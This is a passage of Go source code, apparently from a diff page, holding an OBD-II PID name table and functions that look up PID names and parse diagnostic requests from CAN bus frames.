0x3E: "Catalyst Temperature: Bank 1, Sensor 2",
0x3F: "Catalyst Temperature: Bank 2, Sensor 2",
0x40: "PIDs supported [$41 - $60]",
0x41: "Monitor status this drive cycle",
0x42: "Control module voltage",
0x43: "Absolute load value",
0x44: "Commanded Air-Fuel Equivalence Ratio (lambda,λ)",
0x45: "Relative throttle position",
0x46: "Ambient air temperature",
0x47: "Absolute throttle position B",
0x48: "Absolute throttle position C",
0x49: "Accelerator pedal position D",
0x4A: "Accelerator pedal position E",
0x4B: "Accelerator pedal position F",
0x4C: "Commanded throttle actuator",
0x4D: "Time run with MIL on",
0x4E: "Time since trouble codes cleared",
0x4F: "Maximum value for FuelAir equivalence ratio, oxygen sensor voltage, oxygen sensor current, and intake manifold absolute pressure",
0x50: "Maximum value for air flow rate from mass air flow sensor",
0x51: "Fuel Type",
0x52: "Ethanol fuel %",
0x53: "Absolute Evap system Vapor Pressure",
0x54: "Evap system vapor pressure",
0x55: "Short term secondary oxygen sensor trim, A: bank 1, B: bank 3",
0x56: "Long term secondary oxygen sensor trim, A: bank 1, B: bank 3",
0x57: "Short term secondary oxygen sensor trim, A: bank 2, B: bank 4",
0x58: "Long term secondary oxygen sensor trim, A: bank 2, B: bank 4",
0x59: "Fuel rail absolute pressure",
0x5A: "Relative accelerator pedal position",
0x5B: "Hybrid battery pack remaining life",
0x5C: "Engine oil temperature",
0x5D: "Fuel injection timing",
0x5E: "Engine fuel rate",
0x5F: "Emission requirements to which vehicle is designed",
0x60: "PIDs supported [$61 - $80]",
0x61: "Driver's demand engine - percent torque",
0x62: "Actual engine - percent torque",
0x63: "Engine reference torque",
0x64: "Engine percent torque data",
0x65: "Auxiliary input / output supported",
0x66: "Mass air flow sensor",
0x67: "Engine coolant temperature",
0x68: "Intake air temperature sensor",
0x69: "Actual EGR, Commanded EGR, and EGR Error",
0x6A: "Commanded Diesel intake air flow control and relative intake air flow position",
0x6B: "Exhaust gas recirculation temperature",
0x6C: "Commanded throttle actuator control and relative throttle position",
0x6D: "Fuel pressure control system",
0x6E: "Injection pressure control system",
0x6F: "Turbocharger compressor inlet pressure",
0x70: "Boost pressure control",
0x71: "Variable Geometry turbo (VGT) control",
0x72: "Wastegate control",
0x73: "Exhaust pressure",
0x74: "Turbocharger RPM",
0x75: "Turbocharger temperature",
0x76: "Turbocharger temperature",
0x77: "Charge air cooler temperature (CACT)",
0x78: "Exhaust Gas temperature (EGT) Bank 1",
0x79: "Exhaust Gas temperature (EGT) Bank 2",
0x7A: "Diesel particulate filter (DPF)differential pressure",
0x7B: "Diesel particulate filter (DPF)",
0x7C: "Diesel Particulate filter (DPF) temperature",
0x7D: "NOx NTE (Not-To-Exceed) control area status",
0x7E: "PM NTE (Not-To-Exceed) control area status",
0x7F: "Engine run time [b]",
0x80: "PIDs supported [$81 - $A0]",
0x81: "Engine run time for Auxiliary Emissions Control Device(AECD)",
0x82: "Engine run time for Auxiliary Emissions Control Device(AECD)",
0x83: "NOx sensor",
0x84: "Manifold surface temperature",
0x85: "NOx reagent system",
0x86: "Particulate matter (PM) sensor",
0x87: "Intake manifold absolute pressure",
0x88: "SCR Induce System",
0x89: "Run Time for AECD #11-#15",
0x8A: "Run Time for AECD #16-#20",
0x8B: "Diesel Aftertreatment",
0x8C: "O2 Sensor (Wide Range)",
0x8D: "Throttle Position G",
0x8E: "Engine Friction - Percent Torque",
0x8F: "PM Sensor Bank 1 & 2",
0x90: "WWH-OBD Vehicle OBD System Information",
0x91: "WWH-OBD Vehicle OBD System Information",
0x92: "Fuel System Control",
0x93: "WWH-OBD Vehicle OBD Counters support",
0x94: "NOx Warning And Inducement System",
0x98: "Exhaust Gas Temperature Sensor",
0x99: "Exhaust Gas Temperature Sensor",
0x9A: "Hybrid/EV Vehicle System Data, Battery, Voltage",
0x9B: "Diesel Exhaust Fluid Sensor Data",
0x9C: "O2 Sensor Data",
0x9D: "Engine Fuel Rate",
0x9E: "Engine Exhaust Flow Rate",
0x9F: "Fuel System Percentage Use",
0xA0: "PIDs supported [$A1 - $C0]",
0xA1: "NOx Sensor Corrected Data",
0xA2: "Cylinder Fuel Rate",
0xA3: "Evap System Vapor Pressure",
0xA4: "Transmission Actual Gear",
0xA5: "Commanded Diesel Exhaust Fluid Dosing",
0xA6: "Odometer [c]",
0xA7: "NOx Sensor Concentration Sensors 3 and 4",
0xA8: "NOx Sensor Corrected Concentration Sensors 3 and 4",
0xA9: "ABS Disable Switch State",
0xC0: "PIDs supported [$C1 - $E0]",
0xC3: "Fuel Level Input A/B",
0xC4: "Exhaust Particulate Control System Diagnostic Time/Count",
0xC5: "Fuel Pressure A and B",
0xC6: "Multiple system counters",
0xC7: "Distance Since Reflash or Module Replacement",
0xC8: "NOx Control Diagnostic (NCD) and Particulate Control Diagnostic (PCD) Warning Lamp status",
},
}
type OBD2PID struct {
ID uint16
Name string
}
func (p OBD2PID) String() string {
if p.Name != "" {
return p.Name
}
return fmt.Sprintf("pid 0x%d", p.ID)
}
func lookupPID(svcID uint8, data []uint8) OBD2PID {
if len(data) == 1 {
data = []byte{
0x00,
data[0],
}
}
pid := OBD2PID{
ID: binary.BigEndian.Uint16(data),
}
// resolve service
if svc, found := servicePIDS[svcID]; found {
// resolve PID name
if name, found := svc[pid.ID]; found {
pid.Name = name
}
}
return pid
}
func (msg *OBD2Message) ParseRequest(frame can.Frame) bool {
svcID := frame.Data[1]
// validate service / mode
if svcID > 0x0a {
return false
}
msgSize := frame.Data[0]
// validate data size
if msgSize > 6 {
return false
}
data := frame.Data[2 : 1+msgSize]
msg.PID = lookupPID(svcID, data)
msg.Type = OBD2MessageTypeRequest
msg.ECU = 0xff // broadcast
msg.Size = msgSize - 1
msg.Service = OBD2Service(svcID)
msg.Data = data
return true
}

Some files were not shown because too many files have changed in this diff Show more